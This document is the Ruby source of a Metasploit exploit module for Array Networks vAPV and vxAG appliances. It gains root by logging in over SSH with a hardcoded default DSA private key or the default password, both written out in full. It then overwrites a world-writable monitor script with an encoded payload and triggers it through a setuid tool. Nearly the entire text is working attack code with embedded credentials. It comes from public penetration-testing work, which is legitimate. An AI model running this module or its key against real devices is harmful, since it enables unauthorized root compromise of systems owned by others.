1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Array Networks vAPV and vxAG Private Key Privelege Escalation Code Execution", 'Description'=> %q{ This module exploits a default hardcoded private SSH key or default hardcoded login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made by Array Networks. After logged in as the unprivileged user, it's possible to modify the world writable file /ca/bin/monitor.sh with our arbitrary code. Execution of the arbitrary code is possible by using the backend tool, running setuid, to turn the debug monitoring on. This makes it possible to trigger our payload with root privileges. }, 'License'=> MSF_LICENSE, 'Author' => [ 'xistence <xistence[at]0x90.nl>',# Original discovery and Metasploit module ], 'References' => [ ['OSVDB', '104652'], ['OSVDB', '104653'], ['OSVDB', '104654'], ['URL', 'http://packetstormsecurity.com/files/125761/Array-Networks-vxAG-xAPV-Privilege-Escalation.html'] ], 'DefaultOptions'=> { 'ExitFunction' => "none" }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload'=> { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet', } }, 'Targets'=> [ ['vAPV 8.3.2.17 / vxAG 9.2.0.34', {}], ], 'Privileged' => true, 'DisclosureDate' => "Feb 03 2014", 'DefaultTarget'=> 0)) register_options( [ Opt::RHOST(), Opt::RPORT(22), OptBool.new('SSHKEY', [ true, 'Use SSH key instead of password', true]), OptString.new('USER', [ true, 'vAPV/vxAG SSH user', 'sync']), OptString.new('PASS', [ true, 'vAPV/vxAG SSH password', 'click1']) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def login_key(user) print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:SSH PRIVATE KEY'") key_data = "-----BEGIN DSA PRIVATE KEY-----\n" key_data += "MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm\n" key_data += "q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM\n" key_data += "xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25\n" key_data += "Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr\n" key_data += "gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq\n" key_data += "mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K\n" key_data += "O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ\n" key_data += "OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb\n" key_data += "+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs\n" key_data += "+sqSEhA35Le2kC4Y1/A=\n" key_data += "-----END DSA PRIVATE KEY-----\n" opts = { #:auth_methods => ['password', 'keyboard-interactive'], :auth_methods => ['publickey'], :msframework=> framework, :msfmodule=> self, :port => rport, :disable_agent => true, :config => true, :key_data => key_data, #:password => pass, :record_auth_info => true, :proxies => datastore['Proxies'] } opts end def login_user_pass(user, pass) print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:#{pass}'") opts = { :auth_methods => ['password', 'keyboard-interactive'], :msframework=> framework, :msfmodule=> self, :port => rport, :disable_agent => true, :config => true, :password => pass, :record_auth_info => true, :proxies => datastore['Proxies'] } opts end def build_command mon_temp = rand_text_alphanumeric(10) cmd = Rex::Text.encode_base64("nohup " + payload.encoded) # Turn debug monitoring off, just in case it's turned on command = '/ca/bin/backend -c "debug monitor off"<code>echo -e "\0374"</code>;' # Copy the data from monitor.sh to a random tmp file command += "cat /ca/bin/monitor.sh > /tmp/#{mon_temp};" # Insert our base64 encoded payload in to the world writable /ca/bin/monitor.sh file command += "/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\"#{cmd}\")' > /ca/bin/monitor.sh;" # Turn debug monitoring on, which will start the monitor.sh and thus our payload command += '/ca/bin/backend -c "debug monitor on"<code>echo -e "\0374"</code>;' # Copy monitor.sh data back command += "cat /tmp/#{mon_temp} > /ca/bin/monitor.sh" command end #def execute_command(cmd, opts) def exploit user = datastore['USER'] pass = datastore['PASS'] if datastore['SSHKEY'] opts = login_key(user) else opts = login_user_pass(user, pass) end opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, user, opts) end rescue Rex::ConnectionError, Rex::AddressInUse fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use") rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation") rescue ::Timeout::Error fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation") rescue Net::SSH::AuthenticationFailed fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication") rescue Net::SSH::Exception => e fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}") end fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh if datastore['SSHKEY'] print_good("#{rhost}:#{rport} - Login Successful with '#{user}:SSH PRIVATE KEY'") else print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'") end # Make the SSH connection and execute our commands + payload print_status("#{rhost}:#{rport} - Sending and executing payload to gain root privileges!") Net::SSH::CommandStream.new(ssh, build_command, true) end end |